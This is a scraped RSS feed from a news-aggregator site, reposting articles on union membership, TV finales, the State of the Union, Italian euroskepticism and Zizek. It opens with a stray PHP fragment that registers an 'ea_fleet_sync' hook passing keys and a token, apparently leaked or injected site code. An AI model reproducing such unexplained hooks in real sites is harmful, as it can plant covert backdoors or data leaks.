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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); union – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 05 Sep 2022 21:31:36 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png union – Brief News https://briefnews.eu 32 32 This chart shows how union membership has declined over the years https://briefnews.eu/this-chart-shows-how-union-membership-has-declined-over-the-years/ https://briefnews.eu/this-chart-shows-how-union-membership-has-declined-over-the-years/#respond Mon, 05 Sep 2022 21:31:36 +0000 https://briefnews.eu/this-chart-shows-how-union-membership-has-declined-over-the-years/ Supporters of Amazon workers rally in support of the union on April 24, 2022 in Staten Island, New York.
Supporters of Amazon workers attempting to win a second union election at the LDJ5 Amazon Sort Center join a rally in support of the union on April 24, 2022 in Staten Island, New York.

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  • President Joe Biden said in a Labor Day speech that he encourages unions.
  • Bureau of Labor Statistics data shows the union membership rate has dropped from 20.1% in 1983.
  • Gallup data for 2022 shows the highest share of Americans approve of labor unions since 1965.

President Joe Biden said in a Labor Day speech on Monday at Laborfest in Milwaukee that he is encouraging unions, adding he has been doing this "from day one."

"The labor movement represents workers in America, and this administration is very pro-worker," Marty Walsh, US secretary of labor, told Insider's Juliana Kaplan. "When the labor movement calls on something where the president can be helpful, he is."

With September 5 being Labor Day, Insider looked back at how the union membership rate has changed over the past few decades.

The following chart, using data from the Bureau of Labor Statistics, shows how the union membership rate has changed from 1983 to 2021, the most recent year with data:

The union membership rate has dropped over time. In 1983, the first year with available data, 20.1% of wage and salary workers were union members. A decade later in 1993 it had fallen to 15.7%. Decades later in 2021, the rate stood at 10.3%.

Union membership varies by industry and by occupational groups. According to the most recent release from the Bureau of Labor Statistics on 2021 data, "education, training, and library occupations" has the highest rate among occupational groups at 34.6%.

Additionally, Gallup data from the Gallup's annual Work and Education survey shows that 71% of Americans approve of labor unions in 2022, up from 68% a year ago. The share in 2022 means its the highest share since since 1965.

"The low unemployment rate that developed during the pandemic altered the balance of power between employers and employees, creating an environment fostering union membership that has resulted in the formation of unions at several high-profile companies," Gallup's Justin McCarthy wrote about the results. 

According to a 2021 post from The Economic Policy Institute (EPI), unions can have different positive impacts on workers and others. For instance, the 17 states with the highest union densities "have state minimum wages that are on average 19% higher than the national average and 40% higher than those in low-union-density states." But it's not just pay.

For instance, EPI says that union workers are also more likely to have paid sick days than their peers.

"The middle class built America," Biden said during his speech in Milwaukee. "Everybody knows that. But unions built the middle class."

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Did your invite to Stevie and Dmitri’s wedding get lost in the mail? Have no fear: We’ve gathered all of the highlights of Madam Secretary‘s series finale — which included the nuptials of the First Daughter and her soulmate — in a final (sniff!) recap.

The episode, “Leaving the Station,” takes place nine months after the events of the previous installment, and we pick up two days before Stevie’s wedding. She and Dmitri are planning to hold it at a gorgeously bucolic venue. They’re particularly taken with the site’s hand-hewn wooden beams and such… which will play a big part in what happens later.

Elizabeth is riding high after the failed impeachment and the groundswell of support for her presidency, so she announces that she’s going to revive the Equal Rights Amendment initiative in an effort to get the Constitutional change ratified by all 50 states. (It doesn’t hurt that a woman born on the day women were given the right to vote — who’s in the Oval Office, along with members of the U.S. Women’s National Soccer Team — gives Elizabeth grief about introducing a mere Equal Pay and Family Leave bill the Constitution doesn’t specifically guarantee women’s equality. Also: How to Get Away With Murder‘s Cicely Tyson plays the old woman, and she is awesome.)

One of Elizabeth’s biggest opponents on the Equal Rights Amendment front is Ohio Sen. Amy Ross (guest star Tyne Daly, Cagney & Lacey star/sister of Tim), who thinks that men and women are different and that’s just how it is. The Daly siblings get a nice scene together while Amy is waiting to talk to the president, but we can’t focus too much on that, because Stevie’s wedding venue just burned to the ground!

Everyone, especially Russell, scrambles to set the big event up somewhere else. But given the constraints of Elizabeth’s security protocol, they’re basically limited to either Camp David or 1600 Pennsylvania Avenue. In the end, it’s decided: Stevie’s going to have a White House wedding!

Madam Secretary Finale Recap Season 6 Episode 10Elizabeth and Henry are adamant that the event not turn into a political shindig, despite Mike’s insistence that they use it to their advantage. But Stevie and Dmitri are on board. And eventually, a bunch of lawmakers and at least one foreign dignitary are in attendance. Russell’s wife, Carol, also is there — but they’re seated separately, given that she’s told him that his job has come first too many times, and she’s leaving him.

President Dalton performs the ceremony, in which Dmitri and Stevie each recite vows they’ve composed. It’s simple, sweet and lovely, and Stevie’s dress is divine. Jason and Allison are there, of course. So are Daisy (who’s been exonerated but isn’t working); Matt (who’s writing TV shows in Los Angeles now); Blake (who performs several musical numbers during the reception) and his fiance; and Jay (who’s still with the chess player — who is pregnant! — and who’s moving back to D.C.). Also of note: Matt tells Daisy he misses her and that she should move to L.A., so…

https://tvline.com/tag/madam-secretary/Other highlights of the reception: Henry gives a toast that makes multiple mention of Thomas Aquinas, Peter Frampton plays “Show Me the Way” for the first dance and Russell and his wife reunite after he promises to put her before his work from now on — and proves it by writing his resignation letter on a cocktail napkin and handing it to Elizabeth during the dinner portion of the evening.

A month later, Jay is Elizabeth’s new chief of staff, and he enters the Oval to tell her that the ERA is going to pass in both the House of Representatives and the Senate, but polling indicates that the possibility of 50-state ratification is weak. So she gleefully proposes a whistle-stop tour to drum up support across the country. And the last shot of the entire series is her wrapping one of those stops and kissing Henry as a crowd cheers and the train they’re on pulls out of a station.

Now it’s your turn. Grade the series finale of Madam Secretary via the poll below, then hit the comments with your additional thoughts!

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NBC and the producers of America’s Got Talent have vowed to “hear more” about the workplace culture concerns that allegedly led to Gabrielle Union’s dismissal from the series.

First, some background: In late November, it was reported that Union and Julianne Hough — both of whom had joined AGT as judges in Season 14 — would not be returning for the 15th cycle. Though it was initially unclear why the pair was leaving, NBC sources told the entertainment news site LoveBScott that there is a racist and sexist culture backstage at the reality series, and that Union specifically was allegedly let go after speaking out about “problematic” situations on set.

When it comes to judges, “They only replace the women and blacks at [executive producer] Simon [Cowell]’s whim. [Union] wouldn’t walk away from $ 12 million because she’s ‘busy,’” a source told the site. “The idea the network wants to ‘switch things up’” — as NBC initially claimed — “only applies to women and black folks.”

Our sister site Variety later reported that Union and Hough had been subject to a “toxic culture” at the show, including excessive notes on their appearance (including a specific critique that Union’s hairstyles were “too black”). Union also reportedly clashed with producers about a contestant whose material she found racially insensitive. Said performer was ultimately allowed to try out, though his audition was later cut from the final broadcast.

After Union and Hough’s exits were first reported, NBC and series producer Fremantle had issued a statement asserting that AGT “has a long history of inclusivity and diversity,” while “the judging and host lineup has been regularly refreshed over the years.”

But on Sunday, NBC, Fremantle and the production company Syco put out a new statement, obtained by our sister site Deadline: “We remain committed to ensuring a respectful workplace for all employees and take very seriously any questions about workplace culture. We are working with Ms. Union through her representatives to hear more about her concerns, following which we will take whatever next steps may be appropriate.”

Interestingly, despite reports of a negative work environment at AGT, Hough denied to Variety that she had experienced toxic behavior while on the show: “I had a wonderful time on America’s Got Talent… working with the cast, crew and producers. I am happy to continue my working relationship with NBC.”

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]]> https://briefnews.eu/americas-got-talent-addresses-gabrielle-union-exit-controversy-plans-to-hear-more-about-her-concerns/feed/ 0 Detour Finale: Will Season 4 End With Nate and Natalia’s Unholy Union? https://briefnews.eu/detour-finale-will-season-4-end-with-nate-and-natalias-unholy-union/ https://briefnews.eu/detour-finale-will-season-4-end-with-nate-and-natalias-unholy-union/#respond Sun, 18 Aug 2019 00:58:35 +0000 http://briefnews.eu/detour-finale-will-season-4-end-with-nate-and-natalias-unholy-union/

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The past four seasons of The Detour have taken Nate Parker to nearly every corner of the world, but his strangest destination awaits him in Tuesday’s finale (TBS, 10:30/9:30c) as he prepares to walk down the aisle with his new bride.

TVLine’s exclusive sneak peek of Tuesday’s episode finds Nate attempting a dangerous balancing act, as he struggles to remain true to his family without raising the suspicions of his betrothed. But fear not, Robin has a plan to liberate her brood from its latest predicament — and as always, it’s completely insane.

“You know what you’re going to do? You’re going to marry this ugly Russian broad, we’re going to go back to the States and we’re going to be a family,” she tells Nate, only to discover that his bride-to-be isn’t quite the ghoulish monster he’s made her out to be. Not physically, anyway.

In fact, after one brief encounter with Natalia, Robin is ready to do a total 180 on Nate’s original plan of making a getaway through the uranium mines.

Hit PLAY on the video above for an exclusive sneak peek of Tuesday’s Detour finale, then drop a comment with your thoughts on the TBS comedy below.

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]]> https://briefnews.eu/detour-finale-will-season-4-end-with-nate-and-natalias-unholy-union/feed/ 0 Nancy Pelosi’s Clap at the State of the Union Tops This Week’s Internet News https://briefnews.eu/nancy-pelosis-clap-at-the-state-of-the-union-tops-this-weeks-internet-news/ https://briefnews.eu/nancy-pelosis-clap-at-the-state-of-the-union-tops-this-weeks-internet-news/#respond Mon, 11 Feb 2019 04:04:39 +0000 http://briefnews.eu/nancy-pelosis-clap-at-the-state-of-the-union-tops-this-weeks-internet-news/ The speech was very boring. The state of the world as a whole, though, is far from tedious.


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]]> https://briefnews.eu/trumps-state-of-the-union-is-silent-on-key-tech-issues/feed/ 0 State of the Union Rescheduled, Stacey Abrams to Give Democratic Response — Which Shows Are Preempted? https://briefnews.eu/state-of-the-union-rescheduled-stacey-abrams-to-give-democratic-response-which-shows-are-preempted/ https://briefnews.eu/state-of-the-union-rescheduled-stacey-abrams-to-give-democratic-response-which-shows-are-preempted/#respond Wed, 30 Jan 2019 07:34:34 +0000 http://briefnews.eu/state-of-the-union-rescheduled-stacey-abrams-to-give-democratic-response-which-shows-are-preempted/

President Donald Trump’s second State of the Union address has been officially rescheduled for Tuesday, Feb. 5, to be held at the U.S. Capitol.

Former Georgia gubernatorial candidate Stacey Abrams will deliver the Democratic response, Senate Minority Leader Chuck Schumer announced on Tuesday.

The State of the Union was originally scheduled for Jan. 29, but Speaker of the House Nancy Pelosi notified President Trump earlier this month that because of the partial government shutdown (which at that point was in its 26th day), proper and secure arrangements would not be able to be made in time. Pelosi gave Trump the option of postponing the address until after the shutdown ended, or delivering it in writing. Though Trump reportedly considered a workaround (such as delivering the address from the Oval Office, or at an outdoor venue, campaign rally-style, he ultimately agreed to postpone.

Much Big 4 programming, such as This Is Us, FBI, The Gifted and ABC’s Tuesday slate, was already locked into rerun/preemption mode for this week, so Feb. 5 should be an equal mess.

Thus far, NBC has confirmed that This Is Us‘ next new episode won’t air until Feb. 12, pushing its season finale April 2. (In turn, the midseason drama The Village will claim This Is Us‘ time slot as of April 9, after leading out of the hit drama March 12 through April 2 at 10/9c.) A new New Amsterdam will also be bumped on Feb. 5.

Over on ABC, new episodes of American Housewife and The Kids Are Alright will lead into the SOTU, which will preempt black-ish, Splitting Up Together and The Rookie.

Fox will lead into the SOTU with a Masked Singer rerun.

Other programming moves for Tuesday, Feb. 5 are in the process of being confirmed.

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]]> https://briefnews.eu/state-of-the-union-rescheduled-stacey-abrams-to-give-democratic-response-which-shows-are-preempted/feed/ 0 Why Italians Are Souring on the European Union https://briefnews.eu/why-italians-are-souring-on-the-european-union/ https://briefnews.eu/why-italians-are-souring-on-the-european-union/#respond Sun, 06 Jan 2019 06:41:54 +0000 http://briefnews.eu/why-italians-are-souring-on-the-european-union/ Vincenzo D’Amore, a 34-year-old buffalo mozzarella–maker from the small town of Carinola outside Naples, is exactly the type of young business owner who would be expected to celebrate Italy’s membership in the European Union and a single market that allows him to sell his products across the Continent.

In 2017, he converted the farm founded by his great-grandfather at the start of the last century into a modern cheese factory, using his 800 buffaloes and 36 hectares of land to make around 500 kilograms of mozzarella a week. However, he says his business has been hurt by cheaper competition from lower-cost producers elsewhere in Europe.

“With the prices of some types of mozzarella sold in the European supermarkets, you would not even be able to repay the cost of milk, how can such a product even be on the market?” D’Amore says. “I’ve always liked the idea of calling myself European, but now I feel abandoned. I’m losing faith in Europe.”

The disillusionment of Italians with the EU marks a profound generational shift for a country that once viewed closer integration with Europe as a solution for many of its ills.

D’Amore is among a rising number of Italians who, after two decades of economic stagnation, no longer believe that being part of the EU has been good for their country. Research last year by the European Parliament found that 45 percent of them believed that on balance Italy had not benefited from its membership in the union, a higher level than even recession-ravaged Greece or a Britain that voted for Brexit.

This collapse of Italian faith in the EU has contributed to a surge in support for the euroskeptic and anti-migrant League party led by the charismatic 45-year-old Matteo Salvini.

A native of Milan, Salvini does not go so far as to call for Italy to leave the euro — let alone the EU. But his pledge to stand up to a European establishment that he argues has failed Italy has helped transform the stature of his party. Once considered little more than a fringe northern separatist party, since March’s election the League has become a national political force that polls indicate could make Salvini prime minister if a poll were held in the near future.

The disillusionment of Italians with the EU marks a profound generational shift for a country that once viewed closer integration with Europe as a solution for many of its ills. In 2000, around 80 percent of Italians said they welcomed the country’s entrance into the single currency, at a time when only half of Germans held the same opinion.

Since joining the single currency Italy’s average annual rate of economic growth per head has been zero, according to the Bruegel think tank. This compares with a rate for Spain of 1 percent, France at 0.8 percent and Germany at 1.25 percent. Now, with the broader European economy slowing down, Italy risks tipping into a technical recession by the end of this year after its economy contracted in the third quarter.

For Marcello Messori, director of the LUISS School of European Political Economy in Rome, the collapse in Italian belief in the European project is partly a consequence of a stagnant economy in which the pain has been felt disproportionately by the young.

In a country where a fifth of young people are unemployed, only 23 percent of young Italians say they expect to achieve a better socioeconomic status than their parents’ generation, the lowest level in the EU according to the research group Census.

“There is a clear difference between generations of Italians in their attitude to Europe,” says Messori. “For my generation our idea of Europe was to be free, to have a wider world around Italy. This is changing.”

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The recent dip in the economy has only increased anger toward the EU. At a rally last month in Rome’s Piazza del Popolo, Salvini told tens of thousands of supporters, many waving flags with his party’s “Italians first” slogan, that he would to stand up to Brussels.

“We are afraid of nothing and nobody,” he told the cheering crowds. “Someone has betrayed the European dream, but we will put blood and strength back into the veins of a new European community.” He warned that further austerity imposed on Italy from Brussels would result in riots like those seen in recent weeks in France.

Salvini’s willingness to take on Brussels is most tangible in the clash between Italy’s coalition government and the European Commission over its budget plans, which envisage a sharp increase in public spending. Rome initially estimated this would create a budget deficit of 2.4 percent, breaking EU guidelines. Italy and the European Commission agreed last month to shrink that figure to 2.04 percent.

It leaves the European Commission needing to find a balance between being seen to hold Italy to account for what it has called an “unprecedented” breach of its budgetary rules while being careful not to provide Salvini with more ammunition to attack Brussels. The coalition has said it will stick to its flagship spending policies.

The sense of injustice in Italy that different standards are being applied by Brussels to other capitals has been inflamed by President Emmanuel Macron’s announcement of higher spending in France to calm angry protesters, a move that will sharply increase the country’s budget deficit.

Rather than alarming Italian voters, Salvini’s clash with Europe, which has seen him launch tirades against the “Brussels bunker” and forge alliances with other hard-right politicians such as France’s Marine Le Pen, has boosted his party’s popularity.

Salvini has successfully transformed the onetime Northern League into a national party targeting support in the center and south of the country in a way that would have been unimaginable five years ago. Ahead of European elections next May, the League, which shares power with the anti-establishment Five Star Movement, is now polling at above 30 percent — a number that if achieved at the polls would make it the largest party in the country.

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A strong result in the European elections would see Salvini solidify his party’s newfound status as the dominant force on Italy’s political right, a position that had been occupied by Silvio Berlusconi’s Forza Italia for two decades. It would also raise the prospect of an avowed euroskeptic taking power in a large eurozone member for the first time in the single currency’s history.

Susanna Ceccardi, the 31-year-old League mayor of the small Tuscan town of Cascina near Pisa, is representative of a generation of young Italian politicians who have taken a more hostile stance toward Brussels as a means of protecting what she sees as “Italian values.” While an earlier generation of Italian right-wing politicians was likely to embrace openness with Europe, Ceccardi, who was just 12 when the euro was launched in 1999, says she and her supporters feel little affinity with the modern EU.

“I feel European from the point of view of history, but I do not feel European from an administrative and management point of view, because it is a Europe that contradicts itself and its values,” Ceccardi says. “Any citizen who hears the question of identity does not want to suddenly see the historical centers full of Islamic veils, schools where you cannot eat pork … this is far from our culture. That is why people feel far from the EU, because it does not defend the values of the common European people, of our people.”

Ceccardi argues that criticism of Brussels has allowed Salvini to win a national audience. Yet antipathy toward the EU is not exclusive to Italy’s hard right. Within the Five Star Movement, a party made up of eclectic ideological positions, some believe the euro has contributed to an economic status quo in Italy that has failed its youth.

Many of the party’s leading figures, including its 32-year-old leader Luigi Di Maio, are of the generation of Italians that have struggled with high youth unemployment and a perceived lack of opportunity. This cohort came of age at a time when freedom of movement allowed them to work across Europe, meaning that Italy’s membership provided an escape from joblessness at home but also a reminder of the country’s economic failings.

Di Maio, joint deputy prime minister in the coalition with Salvini, is less overtly aggressive toward Brussels but insists that his party’s election promises — including higher welfare payments to the poor — must be introduced whether Brussels likes it or not.

Growing up in Italy’s south where a fifth of the population is out of work, Di Maio saw many of his friends forced to leave to find employment abroad. “A lot of my friends went to London, New York, Berlin or Frankfurt to work,” he says. “There was a difference between those who were waiters in my area, like I was, and those who were waiters in London. They could make a career while I could not.”

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Messori argues that the rise of euroskepticism has been driven by the failure of the Italian economy to modernize over decades. The resulting economic stagnation has prompted politicians from both the left and right to attribute blame outside the country.

“In the 1960s, small Italian firms were able to imitate innovation performed by other countries, as these were mostly to do with physical machinery. By the start of the 1990s, global innovation became based on intangible assets and our small firms were unable to adapt,” he says. “This is not the fault of the euro or the EU but to different degrees centrist politicians started to blame Europe, and from this point the populist view had an open door.”

While many are dissatisfied with the country’s lack of economic growth, the increased hostility toward Brussels has not translated into a desire to leave the single currency — the extreme outcome most feared by financial markets.

While almost half of Italians do not believe that EU membership has benefited the country, 59 percent support its membership of the single currency, according to Eurobarometer.

Salvini and Di Maio have switched from past statements raising questions about the euro to steadfastly committing to keeping the country in the currency union.

To convert disillusionment toward Europe into a major electoral breakthrough, Salvini will have to be careful that his hostile rhetoric toward Brussels does not lose him the support of small northern businesses — his traditional power base. He has recently faced criticism from Italy’s business lobby for the uncertainty caused by the government’s budget plans.

Older Italians, meanwhile, remember what life was like before the country joined the single market in a way that perhaps does not always resonate with younger generations.

Antonio Nesti, a 74-year-old furniture-maker in Cascina, remembers having to queue for hours at European borders to make deliveries before Italy was part of the single market. He, like other small exporters, says any disruption to this would cause huge damage to his business.

“I think that Italians who work, and want to continue working, do not like the politics the government is doing now with this tug of war with Europe,” he says.

Additional reporting by Davide Ghiglione in Rome

Read more: Italy’s populist revolt puts pension reform at risk.

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  • A British union has highlighted working conditions at Amazon warehouses over Christmas with a satirical whack-a-mole-style game.
  • The game was created by the GMB union, one of the biggest workers’ unions in the UK.
  • The game makes the player furiously click on packages while showing pop-up messages which refer to damning media and GMB reports about Amazon’s working practices.
  • Amazon responded that if people want to find out what it’s like to work in its warehouses they are welcome to take a tour, rather than play a “fictitious computer game.”

British workers’ union the GMB has laid into Amazon’s working practices at Christmas with a satirical online game resembling “whack-a-mole.”

The game asks players to click on packages as they pop up, which gradually become impossibly fast to keep up with. You can play “Workers not Robots” yourself by clicking here.

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In a clash of the world’s most popular philosophers, avowed communist Slavoj Zizek attacked ‘pseudo-scientific’ Jordan Peterson and Steven Pinker, who he described as his “enemy,” during an appearance at the Cambridge Union.

Zizek, who appeared at the prestigious university’s union earlier this month, rounded on his fellow philosophers in his typical unique style.

Having previously praised Peterson for his contentions with political correctness, Zizek denounced the Canadian for having fallen into ‘this stupid trap of using the term of the contemporary right: cultural marxism.’

The Slovenian leftist then provided a history of the term and the ‘conspiracy theory narrative’ that surrounds it.

Previously Zizek argued that it was Peterson’s belief in cultural-marxism, a theory which is often labelled anti-semitic, that made him a fellow-traveller of the alt-right and undermined his claims to be a ‘classic British liberal.’

Zizek got a laugh from the Cambridge audience when hitting Peterson’s “pseudo-scientific references; he cannot talk about women and marriage without mentioning lobsters, apes or whatever,” said Zizek leading to laughs from the audience.

READ MORE: Slavoj Žižek: Until the rich world thinks ‘one world,’ migration will intensify

In another repost to Peterson, Zizek asserted that the problem with political correctness is not that it’s “too fanatically marxist” rather “it’s precisely that it’s not marxist.”

Moving onto Steven Pinker, who Zizek described as “someone who is also my enemy,” the philosopher stated that he was dubious of many of the American’s “facts” which have been used to argue that “the present is much better than anytime in history.”

Peterson has previously attempted to debate with Zizek, challenging him to publicly discuss “the validity of my ‘apparently’ scientific theories.” However philosophy fans were disappointed when it turned out that Peterson had, seemingly accidentally, responded to a Zizek quote bot Twitter account.

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